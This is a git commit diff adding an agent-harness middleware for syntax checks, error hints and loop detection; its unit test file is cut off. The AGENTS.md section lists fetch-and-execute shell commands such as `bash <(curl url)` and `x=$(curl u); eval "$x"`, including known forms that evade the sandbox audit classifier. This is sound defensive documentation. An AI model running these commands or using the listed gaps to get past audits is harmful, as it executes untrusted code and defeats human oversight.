feat(harness): introduce HarnessGuardMiddleware for pre-write syntax validation and anti-doom-loop (#7624)

* feat(harness): introduce HarnessGuardMiddleware for pre-write syntax validation and anti-doom-loop

- Add HarnessGuardMiddleware to intercept tool writes and validate .py (AST) and .json syntax before disk write
- Add anti-doom-loop state machine detecting repeated error signatures (>=2) and A -> B -> A -> B oscillating loops
- Inject targeted remediation hints directly into tool results
- Add DynamicSkillRouter for zero-LLM JIT skill intent activation (<1ms)
- Fully unit-tested with 25 passing test cases

* fix(harness): address review findings on write tools, scoping, and content handling

* fix(harness): offload async validation off-thread, support Command results, and harden parsing

* fix(harness): address reviewer 1 feedback on scoping, assembly count, and non-blocking verification

- Revert .gitignore to exclude out-of-scope graphify-out entry
- Short-circuit syntax validation when block_on_syntax_error is false
- Trim AGENTS.md rule chain to fit hard guidance budget (AG002)
- Fix input_sanitization mock and update subagent middleware count expectation to 23

* fix(harness): preserve chunked write flow, normalize CRLF line endings, and guard error classification

- Preserve append-in-chunks flow: use codeop to distinguish incomplete Python fragments from syntax errors, and handle premature EOF on chunked JSON arrays/objects
- Reuse native _match_line_endings for str_replace to prevent CRLF line ending bypass
- Check existing tool failure status before classifying error text to avoid misclassifying successful tool outputs
- Add 4 regression tests covering chunked writes, CRLF replacement, and successful error-text reads

* fix(harness): scope pre-write syntax validation to str_replace and preserve write_file semantics

* fix(harness): make str_replace syntax check opt-in, allow progressive repair of invalid files, and clean up RFC docs

* chore: align subagent middleware count and satisfy AG002 guidance budget

---------

Co-authored-by: Yakyou7 <Yakyou7@users.noreply.github.com>
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>

backend/packages/harness/deerflow/agents/middlewares/AGENTS.md

@@ -120,25 +120,13 @@ No match: skip inspection, log ID. Tests: `test_read_mark_tool_call_correlation.
    contract module.
 12. **SandboxAuditMiddleware** - Audits sandboxed shell/file operations before tool execution; command classification is **defense-in-depth and audit, not a security boundary** (the sandbox is the isolation boundary). Command substitution is judged by *position*, not the presence of `$(`: **command position** (`$(curl url)`, `` `curl url` ``, the word after `|`/`&&`/`;`, an `eval`/`source` argument, a command-position `.`) executes fetched content and is blocked; **value position** (`x=$(curl url)`, `echo $(curl url)`, an argument, a `for` word list) only captures output and passes (#4611). So `_HIGH_RISK_COMMAND_POSITION_PATTERNS` is matched anchored against each sub-command from `_split_compound_command(split_pipes=True)`, never the whole string; pipe-spanning rules (`| sh`, `base64 -d | ...`) still use `_classify_command`'s whole-command Pass 1. `_COMMAND_POSITION_PREFIX` extends the anchor over leading assignments and exec wrappers (`FOO=1 $(curl url)`, `env`/`command`/`builtin`/`exec`/`nohup`/`time`/`sudo`/`doas`); its assignment branch requires whitespace before the substitution, which keeps `x=$(curl url)` in value position. Two contexts are deliberately **position-blind** (matched whole-command in Pass 1, since they execute their input anywhere, e.g. `xargs sh -c "$(curl url)"`): an `eval`/`source` argument (including one that reaches the dot builtin, `eval . $(curl url)`), and an interpreter **code-string flag** — `-c` (shells, `python`), `-e` (`perl`/`ruby`/`node`), `-p` (`perl`/`node`), `-r` (`php`) — plus the here-string (`<<<`) reaching the same place via stdin. An interpreter that reads its program from stdin (`bash < <(curl url)`) is that same execution context, decided from the token list rather than one pattern: a script operand anywhere (`bash script.sh < <(curl url)`, `bash < <(curl url) consumer.sh`) or a shell noexec flag (`bash -n < <(curl url)`) keeps the fetched bytes as data, and `.`/`source` never read a program from stdin because they require a filename. All three substitution spellings (`$(`, `<(`, `` ` ``) share one `_RISKY_SUBSTITUTION` opener. An unquoted newline splits like `;` (else `echo hi\n$(curl url)` evades the anchored rules). Heredoc bodies are data: `_split_compound_command` records headers (`<<EOF`, `<<-EOF`, `<<'EOF'`) and consumes their bodies verbatim, so a body line starting `$(curl url)` isn't promoted to a command position; `<<<` (here-string, needs look-ahead + look-behind) and a `<<` inside `$(( ))`/`(( ))` (bit shift, arithmetic depth tracked with the quote flags) must not open one. This is a heuristic, not shell parsing — an unterminated body consumes the rest of the string, an unclosed `((` only disables heredoc detection, and the failure direction is always toward *more* command positions, not fewer. A process substitution in *program-operand* position is that same context: the file it names is the program the interpreter runs (`bash <(curl url)`, `python3 <(curl url)`). A script operand *in front* (`bash script.sh <(curl url)`) makes the substitution an argument; a shell noexec flag (`bash -n <(curl url)`) parses the program without executing it.
 
-    Known gaps in the current classifier:
-
-    - Flags taking a value in the next word can hide both program operands
-      (`bash -o pipefail <(curl u)`, `bash --rcfile f <(curl u)`) and stdin redirects
-      (`bash -o pipefail < <(curl u)`, `bash --rcfile f < <(curl u)`).
-    - The stdin rule can miss trailing flags, comments, or redirects:
-      `bash < <(curl u) -s`, `bash < <(curl u) --`, `bash < <(curl u) # comment`,
-      `bash < <(curl u) 2>/dev/null`, and `python3 < <(curl u) -q`.
-      These trailing tokens are not script operands, so the interpreter still
-      executes the fetched program.
-    - A leading statement inside a substitution hides the risky executable:
-      `bash <(true; curl u)` and `bash <(cd /tmp && curl u)`. The stdin redirect
-      and command-position `$()` rules share this opener limitation.
-    - Two-step forms (`x=$(curl u); eval "$x"`) need dataflow analysis.
+    Known gaps: word-valued flags can hide program operands/stdin redirects (`bash -o pipefail <(curl u)`); trailing tokens (`-s`, `# comment`) are not script operands; leading statements (`bash <(true; curl u)`); two-step forms (`x=$(curl u); eval "$x"`).
 
     Medium-risk warnings precede a trailing exit marker and keep `deerflow_tool_meta`.
     No config gate — appended unconditionally in `_build_runtime_middlewares`, for both lead and subagents.
 
 13. **ReadBeforeWriteMiddleware** - *(`read_before_write.enabled`, default on; #3857)* Existing-file `write_file` (including append) and `str_replace` require the newest matching `read_file` content hash. Marks live on ToolMessages: dropping a read loses its mark; writes never refresh it. Sync/async read/check/execution/mark steps share a per-(scope, path) gate. Uninspectable content fails open. It owns sandbox authorization; `SandboxAuthorizationError` becomes an error ToolMessage. Outside ToolProgress/ToolErrorHandling, blocks consume no slot and stamp `deerflow_tool_meta` plus `deerflow_write_block` (`{path, tool}`). `wrap_model_call` elides blocked payloads with deterministic placeholders (`elide_blocked_payloads`, `elide_min_chars`), preserving state, receipts and journal. All model-bound argument rewrites use `tool_call_args`; policy stays in this gate.
+13b. **HarnessGuardMiddleware** - *(`harness_guard.enabled`, default on)* Error diagnosis and optional write gate. When `write_verify_syntax: true`, checks `.py`/`.json` syntax on `str_replace` for valid files. Classifies tool failures and injects targeted hints. Warns on repeated error signatures and alternating tool loops per `(thread_id, run_id)` via `BoundedDict`.
 14. **ToolProgressMiddleware** - *(optional, if `tool_progress.enabled`)* State-machine-based stagnation guard (RFC #3177). Outer wrapper around ToolErrorHandlingMiddleware so its tool wrapper receives results already stamped with `deerflow_tool_meta`. Recoverable problems stay WARNED with hints; retryable non-recoverable problems escalate to BLOCKED; stop-category failures block immediately. It is independent of LoopDetection's turn-level call-pattern guard. Effective phase changes emit `middleware:tool_progress`, including `reset` when a later agent invocation (for example, goal continuation) clears WARNED/BLOCKED state. The state machine supplies the action and count threshold (`null` for category rules, recovery, and reset); recorder calls happen after releasing the state lock. Events include the actual sync/async hook plus bounded status, error, and recovery fields. Server-owned recorder keys determine subagent attribution. Arguments, content, prompts, and hashes are never persisted; recorder failures are fail-open. See [event semantics](../../../../../docs/RUN_EVENT_STREAM.md).
 15. **ToolReceiptMiddleware + ToolErrorHandlingMiddleware** - `ToolReceiptMiddleware` is *(optional, if `verification.receipts_enabled`, default on)*. It is the **outermost `wrap_tool_call` layer** — registered ahead of authorization, audit, write and progress gates — because Guardrail/SandboxAudit/ReadBeforeWrite/ToolProgress can short-circuit a call with their own ToolMessage (and SandboxAudit annotates medium-risk results); an inner receipt layer would silently gap the ledger on those results (ordering constraints in `deerflow.extensions.ordering`). Normal results still carry the `deerflow_tool_meta` status ToolErrorHandlingMiddleware stamps on the inner return path; short-circuit messages self-stamp meta or fall back to `message.status`. It stamps deterministic provenance (tool name, status, args/output hashes, byte count, timestamp) onto direct `ToolMessage` results and every matching `ToolMessage` carried in `Command.update.messages`, including delegated `task`, `present_file`, `view_image`, and `tool_search` results; before model calls it derives a hidden receipt ledger (display ids r1..rN) from message state, and when the 2,000-character budget is exceeded the newest receipts are retained in chronological order with their original ids plus an older-receipts omission marker. Rendering returns both the text and its retained receipt subset; every response that received a ledger carries only that exact server-owned subset, never omitted receipts. Snapshot validation accepts a strictly consecutive positive original-id range (for example `r24`–`r30`) rather than requiring `r1`, so subagent terminal citation verification resolves ids against evidence present in the citing turn even when later summarization drops and renumbers tool messages. Model-generated citation IDs are digit-bounded before integer conversion; oversized IDs are ignored as malformed input rather than raising through task write-back. Citation parsing deduplicates exact `(id, anchor)` pairs, not IDs alone, so repeated identical references stay compact while every distinct anchor claim is verified. Gateway strips delegated receipts/verdicts from external messages. `ToolErrorHandlingMiddleware` receives `AppConfig`, converts tool exceptions into error `ToolMessage`s so the run can continue instead of aborting, stamps every result with `deerflow_tool_meta` (status / error_type / recoverable_by_model / recommended_next_action / source) via `tool_result_meta.normalize_tool_result`, stamps structured metadata for task exception wrappers, and stamps skill-read metadata for downstream durable-context capture. Task tool result text is generated from the same status/result/error inputs as the structured metadata so callers do not hand-write a second protocol string.
    JSON error-envelope inference excludes successful native `read_file` results:

backend/packages/harness/deerflow/agents/middlewares/harness_guard_middleware.py

@@ -0,0 +1,453 @@
+"""HarnessGuard tool-loop interceptor middleware.
+
+Provides:
+1. Optional Write-Verify Gate: Pre-execution syntax validation on .py (ast.parse) and .json writes
+   for str_replace (spliced verification on valid files; opt-in).
+2. Error Signature Classifier: Detects classic failure patterns and injects actionable Targeted Hints.
+3. Anti-Doom-Loop: Detects consecutive identical error signatures and A -> B -> A -> B alternating failure loops,
+   scoped cleanly by (thread_id, run_id) with bounded LRU tracking.
+"""
+
+from __future__ import annotations
+
+import ast
+import asyncio
+import json
+import logging
+import re
+import threading
+import uuid
+from collections import OrderedDict, deque
+from collections.abc import Awaitable, Callable
+from dataclasses import dataclass
+from typing import Any, override
+
+from langchain.agents.middleware import AgentMiddleware
+from langchain_core.messages import ToolMessage
+from langgraph.prebuilt.tool_node import ToolCallRequest
+from langgraph.types import Command
+
+from deerflow.agents.middlewares._bounded_dict import BoundedDict
+from deerflow.agents.middlewares.tool_result_meta import (
+    TOOL_META_KEY,
+    _command_messages,
+    normalize_tool_result,
+)
+from deerflow.config.harness_guard_config import HarnessGuardConfig
+from deerflow.sandbox.tools import _match_line_endings, read_current_file_content
+
+logger = logging.getLogger(__name__)
+
+HARNESS_GUARD_KEY = "deerflow_harness_guard"
+_WRITE_TOOLS = frozenset({"str_replace"})
+
+type _ScopeKey = tuple[str, str | None]
+
+
+@dataclass(frozen=True)
+class ErrorSignature:
+    """Classified error pattern with actionable remediation hint."""
+
+    category: str
+    entity: str
+    signature: str
+    targeted_hint: str
+
+
+def classify_tool_error(content: str) -> ErrorSignature | None:
+    """Analyze tool output content for classic failure patterns and produce targeted hints."""
+    if not content or not isinstance(content, str):
+        return None
+
+    # Defensive bound: scan recent tail (where tracebacks terminate) to prevent excessive latency
+    if len(content) > 50000:
+        content = content[-50000:]
+
+    # 1. ModuleNotFoundError / ImportError
+    match_import_from = re.search(
+        r"ImportError:\s+cannot import name\s+['\"][^'\"]+['\"]\s+from\s+['\"]([^'\"]+)['\"]",
+        content,
+    )
+    if match_import_from:
+        pkg = match_import_from.group(1).split(".")[0]
+        return ErrorSignature(
+            category="MODULE_NOT_FOUND",
+            entity=pkg,
+            signature=f"MODULE_NOT_FOUND:{pkg}",
+            targeted_hint=(f"[HARNESS GUARD] Missing Python dependency or symbol '{pkg}'. Action: Execute 'pip install {pkg}' or check your package version/virtualenv."),
+        )
+
+    match = re.search(
+        r"(?:ModuleNotFoundError|ImportError):\s+(?:No module named)\s+['\"]([^'\"]+)['\"]",
+        content,
+    )
+    if match:
+        pkg = match.group(1).split(".")[0]
+        return ErrorSignature(
+            category="MODULE_NOT_FOUND",
+            entity=pkg,
+            signature=f"MODULE_NOT_FOUND:{pkg}",
+            targeted_hint=(f"[HARNESS GUARD] Missing Python dependency '{pkg}'. Action: Execute 'pip install {pkg}' or verify your virtual environment before re-running the script."),
+        )
+
+    # 2. Command not found
+    match = re.search(
+        r"(?:/bin/sh:\s+|bash:\s+)?(\b[\w\-.]+\b):\s+command not found|"
+        r"['\"]?(\b[\w\-.]+\b)['\"]?\s+(?:is not recognized as an internal or external command|不是内部或外部命令)",
+        content,
+    )
+    if match:
+        cmd = match.group(1) or match.group(2)
+        return ErrorSignature(
+            category="COMMAND_NOT_FOUND",
+            entity=cmd,
+            signature=f"COMMAND_NOT_FOUND:{cmd}",
+            targeted_hint=(f"[HARNESS GUARD] Command '{cmd}' was not found in environment. Action: Check command spelling or install the required executable before retrying."),
+        )
+
+    # 3. FileNotFoundError / No such file
+    match = re.search(
+        r"(?:FileNotFoundError:\s+\[Errno 2\]\s+No such file or directory:\s+['\"]([^'\"]+)['\"]|"
+        r"(?:cat|ls|head|tail):\s+['\"]?([^:'\"]+)['\"]?:\s+No such file or directory)",
+        content,
+    )
+    if match:
+        path = match.group(1) or match.group(2)
+        return ErrorSignature(
+            category="FILE_NOT_FOUND",
+            entity=path,
+            signature=f"FILE_NOT_FOUND:{path}",
+            targeted_hint=(f"[HARNESS GUARD] File '{path}' does not exist. Action: Run 'ls' or check directory layout to confirm file paths before retrying."),
+        )
+
+    # 4. SyntaxError in execution output
+    if "SyntaxError:" in content:
+        line_match = re.search(r"line\s+(\d+)", content)
+        line = line_match.group(1) if line_match else "?"
+        msg_match = re.search(r"SyntaxError:\s*([^\n\r]+)", content)
+        msg = msg_match.group(1).strip() if msg_match else "invalid syntax"
+        return ErrorSignature(
+            category="SYNTAX_ERROR",
+            entity=line,
+            signature=f"SYNTAX_ERROR:line_{line}",
+            targeted_hint=(f"[HARNESS GUARD] Python SyntaxError detected at line {line}: '{msg}'. Action: Correct the script syntax before executing again."),
+        )
+
+    # 5. PermissionError
+    match = re.search(
+        r"(?:PermissionError:\s+\[Errno 13\]\s+Permission denied:\s+['\"]([^'\"]+)['\"]|"
+        r"bash:\s+([^:]+):\s+Permission denied)",
+        content,
+    )
+    if match:
+        path = match.group(1) or match.group(2)
+        return ErrorSignature(
+            category="PERMISSION_DENIED",
+            entity=path,
+            signature=f"PERMISSION_DENIED:{path}",
+            targeted_hint=(f"[HARNESS GUARD] Permission denied on '{path}'. Action: Check file permissions (e.g. chmod +x) or user privileges."),
+        )
+
+    # 6. Address / Port already in use
+    if re.search(r"(?:Address already in use|port\s+\d+\s+already in use|Errno 98)", content):
+        return ErrorSignature(
+            category="PORT_IN_USE",
+            entity="port",
+            signature="PORT_IN_USE",
+            targeted_hint=("[HARNESS GUARD] Network port is already in use. Action: Specify an alternative port or stop the listening process."),
+        )
+
+    return None
+
+
+def verify_content_syntax(file_path: str, content: str) -> str | None:
+    """Validate content syntax for known formats. Returns error message if invalid."""
+    if not file_path or not content:
+        return None
+
+    if file_path.endswith(".py"):
+        try:
+            ast.parse(content, filename=file_path)
+        except SyntaxError as e:
+            return f"Python syntax error at line {e.lineno}, col {e.offset}: {e.msg}"
+        except ValueError as e:
+            return f"Python source code error: {e}"
+
+    elif file_path.endswith(".json"):
+        try:
+            json.loads(content)
+        except Exception as e:
+            return f"Invalid JSON format: {e}"
+
+    return None
+
+
+def _extract_text_content(content: Any) -> str:
+    """Extract plain text from string or structured content block list."""
+    if isinstance(content, str):
+        return content
+    if isinstance(content, list):
+        texts: list[str] = []
+        for block in content:
+            if isinstance(block, dict) and block.get("type") == "text":
+                texts.append(str(block.get("text") or ""))
+            elif isinstance(block, str):
+                texts.append(block)
+        return "\n".join(texts)
+    return str(content) if content is not None else ""
+
+
+@dataclass
+class _ToolRecord:
+    tool_name: str
+    is_error: bool
+    error_signature: str | None
+
+
+class HarnessGuardMiddleware(AgentMiddleware):
+    """Tool-loop interceptor for write syntax verification, error hints, and anti-doom-loop."""
+
+    def __init__(self, config: HarnessGuardConfig | None = None) -> None:
+        self.config = config if config is not None else HarnessGuardConfig()
+        self._lock = threading.Lock()
+        self._fallback_run_ids: OrderedDict[int, tuple[object, str]] = OrderedDict()
+        self._max_fallback_run_ids = max(1, self.config.max_tracked_scopes * 2)
+        # Bounded LRU history: _ScopeKey -> deque of _ToolRecord
+        self._history: BoundedDict[_ScopeKey, deque[_ToolRecord]] = BoundedDict(maxsize=self.config.max_tracked_scopes)
+
+    def _get_history(self, scope_key: _ScopeKey) -> deque[_ToolRecord]:
+        with self._lock:
+            if scope_key not in self._history:
+                self._history[scope_key] = deque(maxlen=self.config.max_loop_history)
+            return self._history[scope_key]
+
+    def _get_thread_id(self, runtime: Any) -> str:
+        ctx = getattr(runtime, "context", None)
+        if isinstance(ctx, dict):
+            thread_id = ctx.get("thread_id")
+            if isinstance(thread_id, str) and thread_id:
+                return thread_id
+        return "default"
+
+    def _get_run_id(self, runtime: Any) -> str | None:
+        ctx = getattr(runtime, "context", None)
+        if isinstance(ctx, dict) and "run_id" in ctx:
+            return ctx["run_id"]
+
+        execution_info = getattr(runtime, "execution_info", None)
+        execution_run_id = getattr(execution_info, "run_id", None)
+        if execution_run_id is not None:
+            return str(execution_run_id)
+
+        # Standalone context-less run: anchor to Runtime.control
+        control = getattr(runtime, "control", None)
+        anchor = control if control is not None else runtime
+        anchor_id = id(anchor)
+        with self._lock:
+            existing = self._fallback_run_ids.get(anchor_id)
+            if existing is not None and existing[0] is anchor:
+                self._fallback_run_ids.move_to_end(anchor_id)
+                return existing[1]
+
+            fallback_run_id = f"__invocation__:{uuid.uuid4().hex}"
+            self._fallback_run_ids[anchor_id] = (anchor, fallback_run_id)
+            self._fallback_run_ids.move_to_end(anchor_id)
+            while len(self._fallback_run_ids) > self._max_fallback_run_ids:
+                self._fallback_run_ids.popitem(last=False)
+            return fallback_run_id
+
+    def _scope_key(self, request: ToolCallRequest) -> _ScopeKey:
+        return self._get_thread_id(request.runtime), self._get_run_id(request.runtime)
+
+    def _check_write_syntax_block(self, request: ToolCallRequest) -> ToolMessage | None:
+        """Perform pre-execution syntax validation on write operations."""
+        if not self.config.write_verify_syntax or not self.config.block_on_syntax_error:
+            return None
+
+        tool_name = str(request.tool_call.get("name") or "")
+        if tool_name not in _WRITE_TOOLS:
+            return None
+
+        args = request.tool_call.get("args") or {}
+        if not isinstance(args, dict):
+            return None
+
+        file_path = args.get("path") or args.get("file_path") or args.get("filename")
+        if not isinstance(file_path, str) or not file_path:
+            return None
+
+        err: str | None = None
+
+        if tool_name == "str_replace":
+            old_str = args.get("old_str")
+            new_str = args.get("new_str")
+            if isinstance(old_str, str) and isinstance(new_str, str) and (file_path.endswith(".py") or file_path.endswith(".json")):
+                try:
+                    current = read_current_file_content(request.runtime, file_path)
+                    old_str, new_str = _match_line_endings(current, old_str, new_str)
+                    if old_str in current and verify_content_syntax(file_path, current) is None:
+                        replace_all = bool(args.get("replace_all", False))
+                        spliced = current.replace(old_str, new_str) if replace_all else current.replace(old_str, new_str, 1)
+                        err = verify_content_syntax(file_path, spliced)
+                except Exception:
+                    # Fail open on sandbox read errors and let str_replace handle execution
+                    err = None
+
+        if err and self.config.block_on_syntax_error:
+            tool_call_id = str(request.tool_call.get("id") or "missing-id")
+            logger.warning("HarnessGuard blocked syntax-invalid write to %s: %s", file_path, err)
+            msg = ToolMessage(
+                content=(f"[HARNESS GUARD: WRITE BLOCKED] Syntax validation failed for '{file_path}':\n{err}\nThe file was NOT written to prevent execution failures. Fix the syntax and retry."),
+                tool_call_id=tool_call_id,
+                name=tool_name,
+                status="error",
+                additional_kwargs={
+                    HARNESS_GUARD_KEY: {
+                        "blocked": True,
+                        "reason": "syntax_error",
+                        "detail": err,
+                        "path": file_path,
+                    },
+                    TOOL_META_KEY: {
+                        "status": "error",
+                        "error_type": "SyntaxError",
+                        "recoverable_by_model": True,
+                        "recommended_next_action": "correct_syntax_and_retry",
+                        "source": "harness_guard",
+                    },
+                },
+            )
+            return normalize_tool_result(msg)
+
+        return None
+
+    def _post_process_tool_message(
+        self,
+        request: ToolCallRequest,
+        result: ToolMessage,
+    ) -> ToolMessage:
+        """Analyze tool result, classify error signatures, inject hints, and detect loops."""
+        tool_name = str(request.tool_call.get("name") or result.name or "unknown")
+        raw_text = _extract_text_content(result.content)
+        tool_meta = result.additional_kwargs.get(TOOL_META_KEY) if hasattr(result, "additional_kwargs") and isinstance(result.additional_kwargs, dict) else None
+        is_error = getattr(result, "status", "success") == "error" or (isinstance(tool_meta, dict) and tool_meta.get("status") == "error")
+
+        error_sig: ErrorSignature | None = None
+        if is_error and self.config.targeted_hints_enabled:
+            error_sig = classify_tool_error(raw_text)
+
+        # Update sliding history
+        scope = self._scope_key(request)
+        history = self._get_history(scope)
+
+        sig_str = error_sig.signature if error_sig else None
+        record = _ToolRecord(tool_name=tool_name, is_error=is_error, error_signature=sig_str)
+
+        repetition_warning: str | None = None
+        oscillation_warning: str | None = None
+
+        with self._lock:
+            # Check consecutive identical error signatures
+            if sig_str:
+                matching_streak = 0
+                for r in reversed(history):
+                    if r.error_signature == sig_str:
+                        matching_streak += 1
+                    else:
+                        break
+                # Current call adds 1
+                if matching_streak + 1 >= self.config.max_repeated_error_signatures:
+                    repetition_warning = f"[HARNESS GUARD: CRITICAL REPETITION] Error '{sig_str}' has occurred {matching_streak + 1} times consecutively. Do NOT repeat this action without addressing the root cause."
+
+            # Check alternating oscillation pattern (A -> B -> A -> B)
+            if self.config.detect_alternating_loops and len(history) >= 3:
+                h = list(history)
+                r0, r1, r2, r3 = h[-3], h[-2], h[-1], record
+                if r0.tool_name == r2.tool_name and r1.tool_name == r3.tool_name and r0.tool_name != r1.tool_name and sum(1 for r in (r0, r1, r2, r3) if r.is_error) >= 3:
+                    oscillation_warning = f"[HARNESS GUARD: OSCILLATION DETECTED] Alternating failing tool loop detected between '{r0.tool_name}' and '{r1.tool_name}'. Pause and re-evaluate your strategy."
+
+            history.append(record)
+
+        # Inject hints into ToolMessage content while preserving structured content blocks
+        injected_parts: list[str] = []
+        if error_sig:
+            injected_parts.append(error_sig.targeted_hint)
+        if repetition_warning:
+            injected_parts.append(repetition_warning)
+        if oscillation_warning:
+            injected_parts.append(oscillation_warning)
+
+        if injected_parts:
+            hint_block_text = "\n\n" + "\n".join(injected_parts)
+            if isinstance(result.content, list):
+                # Multimodal or content blocks: append hint as a new text block
+                new_blocks = list(result.content)
+                new_blocks.append({"type": "text", "text": hint_block_text})
+                result.content = new_blocks
+            elif isinstance(result.content, str):
+                separator = "\n\n" if result.content else ""
+                result.content = f"{result.content}{separator}{chr(10).join(injected_parts)}"
+            else:
+                result.content = f"{result.content}{hint_block_text}"
+
+            if HARNESS_GUARD_KEY not in result.additional_kwargs:
+                result.additional_kwargs[HARNESS_GUARD_KEY] = {}
+            result.additional_kwargs[HARNESS_GUARD_KEY].update(
+                {
+                    "hints_injected": len(injected_parts),
+                    "error_signature": sig_str,
+                    "repetition_warning": repetition_warning is not None,
+                    "oscillation_warning": oscillation_warning is not None,
+                }
+            )
+
+        return result
+
+    def _post_process_result(
+        self,
+        request: ToolCallRequest,
+        result: ToolMessage | Command,
+    ) -> ToolMessage | Command:
+        """Handle ToolMessage directly or inspect Command.update messages."""
+        if isinstance(result, ToolMessage):
+            return self._post_process_tool_message(request, result)
+        if isinstance(result, Command):
+            messages = _command_messages(result)
+            if messages:
+                tool_call_id = request.tool_call.get("id")
+                for msg in messages:
+                    if isinstance(msg, ToolMessage) and (not tool_call_id or msg.tool_call_id == tool_call_id):
+                        self._post_process_tool_message(request, msg)
+        return result
+
+    @override
+    def wrap_tool_call(
+        self,
+        request: ToolCallRequest,
+        handler: Callable[[ToolCallRequest], ToolMessage | Command],
+    ) -> ToolMessage | Command:
+        if not self.config.enabled:
+            return handler(request)
+
+        blocked = self._check_write_syntax_block(request)
+        if blocked is not None:
+            return blocked
+
+        result = handler(request)
+        return self._post_process_result(request, result)
+
+    @override
+    async def awrap_tool_call(
+        self,
+        request: ToolCallRequest,
+        handler: Callable[[ToolCallRequest], Awaitable[ToolMessage | Command]],
+    ) -> ToolMessage | Command:
+        if not self.config.enabled:
+            return await handler(request)
+
+        blocked = await asyncio.to_thread(self._check_write_syntax_block, request)
+        if blocked is not None:
+            return blocked
+
+        result = await handler(request)
+        return self._post_process_result(request, result)

backend/packages/harness/deerflow/agents/middlewares/tool_error_handling_middleware.py

@@ -502,6 +502,11 @@ def _build_runtime_middlewares(
 
         tail.append(ReadBeforeWriteMiddleware(config=app_config.read_before_write))
 
+    if getattr(app_config, "harness_guard", None) and app_config.harness_guard.enabled:
+        from deerflow.agents.middlewares.harness_guard_middleware import HarnessGuardMiddleware
+
+        tail.append(HarnessGuardMiddleware(config=app_config.harness_guard))
+
     # ToolProgressMiddleware must be outer (lower index) so its wrap_tool_call handler
     # chain includes ToolErrorHandlingMiddleware (inner), which stamps deerflow_tool_meta
     # on every result before ToolProgressMiddleware reads it in _update_state_from_result.

backend/packages/harness/deerflow/config/app_config.py

@@ -27,6 +27,7 @@ from deerflow.config.file_signature import ConfigSignature as _ConfigSignature
 from deerflow.config.file_signature import get_config_signature as _get_config_signature
 from deerflow.config.file_signature import read_config_with_signature as _read_config_with_signature
 from deerflow.config.guardrails_config import GuardrailsConfig, load_guardrails_config_from_dict
+from deerflow.config.harness_guard_config import HarnessGuardConfig
 from deerflow.config.input_polish_config import InputPolishConfig
 from deerflow.config.knowledge_base_config import KnowledgeBaseConfig
 from deerflow.config.loop_detection_config import LoopDetectionConfig
@@ -320,6 +321,7 @@ class AppConfig(BaseModel):
     tool_progress: ToolProgressConfig = Field(default_factory=ToolProgressConfig, description="Tool progress state machine middleware configuration")
     verification: VerificationConfig = Field(default_factory=VerificationConfig, description="Subagent result verification (receipts, checklist, judge)")
     read_before_write: ReadBeforeWriteConfig = Field(default_factory=ReadBeforeWriteConfig, description="Read-before-write file gate middleware configuration")
+    harness_guard: HarnessGuardConfig = Field(default_factory=HarnessGuardConfig, description="HarnessGuard tool-loop interceptor middleware configuration")
     projects: ProjectsConfig = Field(default_factory=ProjectsConfig, description="User projects configuration (instructions injection, shelf index, trash retention)")
     pii_redaction: PiiRedactionConfig = Field(default_factory=PiiRedactionConfig, description="PII redaction middleware configuration (issue #3190)")
     safety_finish_reason: SafetyFinishReasonConfig = Field(default_factory=SafetyFinishReasonConfig, description="Provider safety-filter finish_reason interception middleware configuration")

backend/packages/harness/deerflow/config/harness_guard_config.py

@@ -0,0 +1,46 @@
+"""Configuration for HarnessGuard tool-loop interceptor middleware."""
+
+from __future__ import annotations
+
+from pydantic import BaseModel, Field
+
+
+class HarnessGuardConfig(BaseModel):
+    """Configuration for system harness tool-loop interception, optional write-verification,
+    and anti-doom-loop mechanisms."""
+
+    enabled: bool = Field(
+        default=True,
+        description="Whether the HarnessGuard tool-loop interceptor middleware is enabled",
+    )
+    write_verify_syntax: bool = Field(
+        default=False,
+        description="Whether to perform pre-execution syntax validation on .py (ast.parse) and .json (json.loads) str_replace edits",
+    )
+    block_on_syntax_error: bool = Field(
+        default=True,
+        description="Whether to reject the write immediately if a syntax error is detected",
+    )
+    targeted_hints_enabled: bool = Field(
+        default=True,
+        description="Whether to analyze tool error outputs and append actionable targeted hints",
+    )
+    max_repeated_error_signatures: int = Field(
+        default=2,
+        ge=1,
+        description="Threshold of consecutive identical error signatures before triggering a critical repetition warning",
+    )
+    detect_alternating_loops: bool = Field(
+        default=True,
+        description="Whether to detect A -> B -> A -> B alternating failure patterns between different tools",
+    )
+    max_loop_history: int = Field(
+        default=20,
+        ge=5,
+        description="Sliding window size of recent tool calls tracked for loop and pattern detection",
+    )
+    max_tracked_scopes: int = Field(
+        default=1000,
+        ge=10,
+        description="Maximum number of tracked thread/run scopes retained in the bounded LRU history cache",
+    )

backend/tests/test_harness_guard_middleware.py

@@ -0,0 +1,620 @@
+"""Unit tests for HarnessGuardMiddleware."""
+
+from unittest.mock import MagicMock, patch
+
+import pytest
+from langchain_core.messages import ToolMessage
+from langgraph.prebuilt.tool_node import ToolCallRequest
+
+from deerflow.agents.middlewares.harness_guard_middleware import (
+    HARNESS_GUARD_KEY,
+    HarnessGuardMiddleware,
+    classify_tool_error,
+    verify_content_syntax,
+)
+from deerflow.agents.middlewares.tool_result_meta import TOOL_META_KEY
+from deerflow.config.harness_guard_config import HarnessGuardConfig
+
+
+def _make_request(
+    name: str,
+    args: dict,
+    tool_call_id: str = "call-1",
+    thread_id: str | None = "t-1",
+    run_id: str | None = "r-1",
+):
+    runtime = MagicMock()
+    if thread_id is not None or run_id is not None:
+        ctx: dict[str, str] = {}
+        if thread_id is not None:
+            ctx["thread_id"] = thread_id
+        if run_id is not None:
+            ctx["run_id"] = run_id
+        runtime.context = ctx
+    else:
+        runtime.context = None
+    return ToolCallRequest(
+        tool_call={"name": name, "args": args, "id": tool_call_id},
+        tool=None,
+        state={"messages": []},
+        runtime=runtime,
+    )
+
+
+class TestErrorClassification:
+    def test_module_not_found(self):
+        err = "ModuleNotFoundError: No module named 'scipy'"
+        sig = classify_tool_error(err)
+        assert sig is not None
+        assert sig.category == "MODULE_NOT_FOUND"
+        assert sig.entity == "scipy"
+        assert "pip install scipy" in sig.targeted_hint
+
+    def test_import_error(self):
+        err = "ImportError: cannot import name 'FastTensor' from 'torch'"
+        sig = classify_tool_error(err)
+        assert sig is not None
+        assert sig.category == "MODULE_NOT_FOUND"
+        assert sig.entity == "torch"
+
+    def test_command_not_found(self):
+        err_linux = "bash: line 1: ffmpeg: command not found"
+        sig1 = classify_tool_error(err_linux)
+        assert sig1 is not None
+        assert sig1.category == "COMMAND_NOT_FOUND"
+        assert sig1.entity == "ffmpeg"
+
+        err_win = "'ripgrep' 不是内部或外部命令"
+        sig2 = classify_tool_error(err_win)
+        assert sig2 is not None
